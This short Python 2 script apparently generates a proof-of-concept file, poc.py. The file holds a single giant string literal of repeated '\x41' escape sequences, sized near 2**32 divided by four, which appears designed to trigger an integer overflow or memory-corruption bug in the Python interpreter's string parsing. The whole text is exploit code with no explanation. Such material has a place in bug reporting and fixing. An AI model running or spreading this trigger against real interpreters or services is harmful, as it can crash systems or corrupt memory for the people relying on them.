multiplication_constant = 4 len_reqd = 2**32 / multiplication_constant splitsize = 2**6 x = ('\\x41' * ((splitsize / 4) - 1)) + 'AAA\n' with open("poc.py", 'wb') as f: f.write("# -*- coding: us-ascii -*-\n") f.write('x = """') for k in xrange(len_reqd / splitsize): f.write(x) f.write('"""')